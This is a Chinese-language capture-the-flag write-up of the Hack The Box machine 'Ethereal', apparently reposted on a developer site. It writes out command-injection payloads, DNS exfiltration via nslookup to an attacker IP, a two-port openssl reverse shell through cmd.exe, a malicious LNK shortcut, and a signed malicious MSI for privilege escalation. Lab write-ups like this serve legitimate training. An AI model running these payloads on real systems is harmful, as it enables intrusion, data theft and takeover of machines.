Hack The Box Ethereal WriteUp

栏目: 编程工具 · 发布时间: 5年前

内容简介:大家好,Ethereal这道题目非常有趣,主要考察对openssl的灵活应用。在HTB平台上,这题的难度评级也是非常高的,通关一次能学习到非常多的知识点,建议大家尝试一下。16位程序模拟器DOSBox

Hack The Box Ethereal WriteUp

前言

大家好,Ethereal这道题目非常有趣,主要考察对openssl的灵活应用。在HTB平台上,这题的难度评级也是非常高的,通关一次能学习到非常多的知识点,建议大家尝试一下。

知识点

16位程序模拟器DOSBox

nslookup信息外带

利用openssl反弹shell

LNK攻击

MSI安装包的制作与签名

Ethereal实战

跳过端口扫描,相信这对大家来说没有什么难度,直接入手线索文件。

1.Ftp匿名登录

利用匿名账户Anonymous登录,可以发现FDISK.zip压缩文件,下载前将传输模式切换到binary,否则经常因为网络因素导致下载失败。

Hack The Box Ethereal WriteUp

2.解压FDISK.zip

解压后,拿到一个镜像文件。利用file命令识别,发现这是一个FAT格式的磁盘。利用mount -t vfat /root/FDISK /mnt/htbdisk挂载磁盘,从中取出pbox.dat和pbox.exe两个文件。安装好xp虚拟机并双击运行pbox.exe发现这是一个16位应用程序,并不能直接运行。

Hack The Box Ethereal WriteUp

3.DosBox模拟器

16位程序模拟器很好找,DosBox是目前最有名的一款,很多当年的街机游戏都可以运行,像是波斯王子、坦克大战啊,这些我都还没通关…进入pbox首先执行挂载mount c c:pbox,将此c:pbox文件夹挂载为pbox的c盘,这样就可以在pbox中看到pbox.exe。但是直接运行还是会报错如下:

Hack The Box Ethereal WriteUp

这可能是版本兼容的问题,好在kali环境下也能安装DosBox(apt-get install dosbox),但因为Dos保护模式的原因,可能会报一个类似< no DPMI – Get csdpmi*b.zip > 的错误。解决方式可以参考: https://www.linuxtopia.org/online_books/linux_tool_guides/the_sed_faq/sedfaq5_004.html 解决问题的核心关键就是下载CWSDPMI.EXE然后扔到pbox.exe目录下,就可以正常运行pbox.exe了。

Hack The Box Ethereal WriteUp

密码很简单,就是password,完全靠猜。进去之后是一个数据库,点击相应的表项就能看到相关内容,从中可以导出一堆的用户名密码,其中有效的组合是:

user: alan

password: !C414m17y57r1k3s4g41n!!

Hack The Box Ethereal WriteUp

4.登录8080端口

获取的用户名密码可以用于登录8080端口,这是一个Test Connection页面,根据Ping Address提示,不难想到这是一个命令注入漏洞。

Hack The Box Ethereal WriteUp

5.结合nslookup成功执行命令

需要解决的问题是如何查看回显,在 linux 环境中常用的是ping -p 外带,但是windows的ping命令并没有-p选项,因此唯一能用的是nslookup命令,结合tokens参数,筛选需要的命令结果,同时需要利用cmd脚本的for循环来反馈结果。例如,我需要看netstat -ano结果的第二行,即所有ip和端口结果,在web中输入的命令为:

127.0.0.1 | for /f “tokens=2” %I in (‘netstat -ano’) do nslookup %I 10.10.8.8

有关for /f的脚本循环体介绍可以看 https://www.youtube.com/watch?v=jMS6LkMdAHI

tokens参数能够级联,比如我想看结果的1至6行,只需要添加tokens=1,2,3,4,5,6和相应占位符%a.%b.%c.%d.%e.%f即可,如:

127.0.0.1 | for /f “tokens=1,2,3,4,5,6” %a in (‘type c:xxxxx.txt’) do nslookup %a.%b.%c.%d.%e.%f 10.10.8.8

在web端执行命令注入后,启动tcpdump或者wireshark都是可以的,过滤dns即可看到命令回显:

(下图运行的是tasklist,因为nslookup在失败时会执行2次查询,所以结果会有重复)

Hack The Box Ethereal WriteUp

6.枚举防火墙规则

利用多个反弹脚本获取 shell 均失败,因此想到枚举防火墙规则。netsh advfirewall firewall show rule name=all是查看windows防火墙规则的命令,但在该RCE环境中无法正常执行,因此需要找到一处可写路径,将结果转储成文件,再用type方法将内容取回。通常c:userspublic目录是权限最低的路径,但是直接写入是失败的,尝试利用icacls命令对目录权限进行枚举,最终发现当前用户alan可以写入C:userspublicdesktopshortcuts,最终读取防火墙配置:仅允许TCP 73和136端口通信。

枚举权限:

127.0.0.1 & for /f “tokens=1,2,3,” %a in (‘icacls c:userspublicDesktop*. /findsid alan /t /c /l’) do nslookup %a.%b.%c 10.10.8.8

同时,继续搜索系统中的蛛丝马迹,利用dir检索C盘,最后在C:Program Files (x86)目录下发现安装有Openssl-v1.1.0版本,我们将利用它实现shell。

能显示较完整dir结果的命令:

127.0.0.1 & for /f “tokens=1,2,3,” %a in (‘dir /B “C:userspublicDesktopShortcuts”‘) do nslookup %a.%b.%c 10.10.8.8

7.openssl初探

openssl的CS工作模式对于我来说并不熟悉,因此首先在本地构建模拟环境,官网 https://www.openssl.org 可以查阅命令参数,和下载源码,但没有安装包。各版本的安装包可以通过 http://slproweb.com/products/Win32OpenSSL.html 下载。安装过程就是一路next不再赘述。

Hack The Box Ethereal WriteUp

8.openssl证书生成及服务器搭建

openssl服务器用于接收反弹shell。在kali端首先搭建openssl server你需要一个私钥和一本证书,因此运行命令:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

随后有一些证书信息需要填写,随意就行,格式对就没问题,例如电子邮件,国家简写

对命令参数有疑问的可以参考IBM文档:

https://www.ibm.com/support/knowledgecenter/en/SSWHYP_4.0.0/com.ibm.apimgmt.cmc.doc/task_apionprem_gernerate_self_signed_openSSL.html

Hack The Box Ethereal WriteUp

9.第一个反弹shell

利用目标机openssl的s_client连接kali服务器。在模拟环境中测试发现,openssl的工作有些像没有-e选项的nc,你输入什么,对方就显示什么,并不能执行命令。由此可以想到利用管道符重定向输入和输出,也就是将一个openssl的连接通过管道符“|”重定向给cmd.exe,再用一个管道符“|”将运行结果重定向给openssl的另一个连接。简而言之就是:

openssl s_client 1 ——>input | cmd.exe | openssl s_client 2 ——>output

这也是为什么防火墙规则要放行两个端口的原因。

转化为web端的RCE命令即:

10.10.8.8 | C:Progra~2OpenSSL-v1.1.0binopenssl.exe s_client -quiet -connect 10.10.8.8:73 | cmd.exe | C:Progra~2OpenSSL-v1.1.0binopenssl.exe s_client -quiet -connect 10.10.8.8:136(RCE命令)

注意在实际攻击目标时,我们要同时开两个终端,一个openssl server 73和另一个openssl server 136,服务端监听命令:

openssl s_server -quiet -key key.pem -cert cert.pem -port 73

openssl s_server -quiet -key key.pem -cert cert.pem -port 136

我在73端口的终端里输入命令并回车,然后在web端提交上述RCE命令将输入压入管道,在136端口的终端里查看结果:

Hack The Box Ethereal WriteUp

10.alan桌面的线索

在获取一个低权限的shell以后,我们能在c:usersalanDesktop路径下拿到下一步的线索。他告诉我们,在Public Desktop路径中存在一个VS的快捷方式,让我们利用它。

Hack The Box Ethereal WriteUp

11.LNK攻击

根据线索,这是一个很典型的LNK攻击。LNKUp是利用windows快捷方式执行命令的恶意快捷方式生成器。项目地址: https://github.com/Plazmaz/LNKUp

命令格式:

python generate.py —host localhost —type ntlm —output out.lnk —execute

“C:Progra~2OpenSSL-v1.1.0binopenssl.exe s_client -quiet -connect 10.10.8.8:73|cmd.exe|C:Progra~2OpenSSLv1.1.0binopenssl.exe s_client -quiet -connect 10.10.8.8:136”

生成后的恶意快捷方式如下,你可以看到需要执行的命令在快捷方式目标栏处。

Hack The Box Ethereal WriteUp

上传恶意快捷方式,并覆盖c:userspublicdesktopshortcutsVisual Studio 2017.lnk。需要注意直接上传.lnk文件可能失败,可以重命名为.txt后缀上传。上传过程同样利用管道,但必须先断开原始连接。

kali 运行:openssl s_server -quiet -key key.pem -cert cert.pem -port 73 < 恶意.txt

web运行:10.10.8.8|C:Progra~2OpenSSL-v1.1.0binopenssl.exe s_client -quiet -connect 10.10.8.8:73 > c:userspublicdesktopshortcutsout.txt(注意上传成功后改回后缀)

重新建立shell连接

shell运行:del “c:userspublicdesktopshortcutsVisual Studio 2017.lnk” & copy “c:userspublicdesktopshortcutsout.lnk” “c:userspublicdesktopshortcutsVisual Studio 2017.lnk”

Hack The Box Ethereal WriteUp

12.拿下User Flag

覆盖LNK成功后,会在很短的时间内获得一个新的shell,在这个shell中,不需要依赖web,可以直接在73端口输入,在136端口中查看结果,操作顺畅不少,在jorge用户桌面拿到user.txt

Hack The Box Ethereal WriteUp

13.D盘中的新线索

继续搜索可以发现,D盘存在两个可疑文件夹,一个是Certs,里面保存有证书文件,另一个是DEV文件夹,里面保存了另一条线索文件。这条线索很好理解,只要生成一个恶意msi安装包放到这个路径下,Rupal用户就会来点,结合证书文件,这很可能是要生成一个签名后的msi。

Hack The Box Ethereal WriteUp

14.获取证书

直接type证书文件会得到乱码,无法拷贝。目前我们也没有下载渠道,因此想到利用openssl的base64编码功能,将内容打印出来,命令如下:

C:Progra~2OpenSSL-v1.1.0binopenssl.exe base64 -in MyCA.cer

C:Progra~2OpenSSL-v1.1.0binopenssl.exe base64 -in MyCA.pvk

将base64编码后的文本拷贝到kali,并利用base64 -d解码还原。

Hack The Box Ethereal WriteUp

15.生成恶意msi

我们利用EMCO MSI Package Builder的图形化界面来操作。先新建工程,然后点击Custom Actions,在右侧Pre & Post Actions中右键新建动作,填写反弹命令后就可以Create MSI Package了。(密码留空)

Hack The Box Ethereal WriteUp

16.对msi签名

利用下载的证书对msi进行签名。这需要用到 .NET Framework 4 和winsdk,它们可以在以下地址下载:

.NET Framework 4 : https://www.microsoft.com/en-us/download/details.aspx?id=17851

winsdk: https://www.microsoft.com/en-us/download/confirmation.aspx?id=8279

安装好后,就可以开始签名了,命令依次如下:

makecert -n “CN=Ethereal” -pe -cy end -ic C:MyCA.cer -iv C:MyCA.pvk -sky signature -sv C:hack.pvk C:hack.cer

pvk2pfx -pvk C:hack.pvk -spc C:hack.cer -pfx C:hack.pfx

signtool sign /f C:hack.pfx C:shell.msi

如果签名成功,可以看到Successfully singed提示

Hack The Box Ethereal WriteUp

17.上传恶意msi

将签名后的msi上传至d:devmsisshell.msi,然后退出73和136的两个openssl连接,重新监听它们,大约1分钟的时间,rupal用户的shell就会上线,可以在他的Desktop路径下读取root.txt

Hack The Box Ethereal WriteUp

18.备注

若一次部署msi没有成功,需要尝试第二次,必须重新生成一个msi并签名上传,因为安装过了的msi在系统中已经注册,不会再运行一次了,你可以从控制面板的添加删除程序中看到它们,但现在在这个环境里我们没有办法卸载之前安装的msi。

Hack The Box Ethereal WriteUp

结语和感悟

就个人而言,我感觉Ethereal的难点在于如何想到双端口反弹shell,跨过这个槛,我也在htb的论坛上请教了不少朋友,大家集思广益从防火墙策略等一系列线索出发分析、思考,当然也少不了本地模拟环境的搭建和尝试,所以交流很重要,勤动手多实践才是出真知的唯一途径。

最后希望有兴趣的同学一起来HTB,若有问题和不对之处大家可以简书“小猪配不齐”告知。

Hack The Box Ethereal WriteUp

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

计算机程序设计艺术・卷3

计算机程序设计艺术・卷3

[美] 高德纳(Donald E. Knuth) / 贾洪峰 / 人民邮电出版社 / 2017-2 / 198.00元

《计算机程序设计艺术》系列被公认为计算机科学领域的权威之作,深入阐述了程序设计理论,对计算机领域的发展有着极为深远的影响。本书为该系列的第3卷,全面讲述了排序和查找算法。书中扩展了卷1中数据结构的处理方法,并对各种算法的效率进行了大量的分析。一起来看看 《计算机程序设计艺术・卷3》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换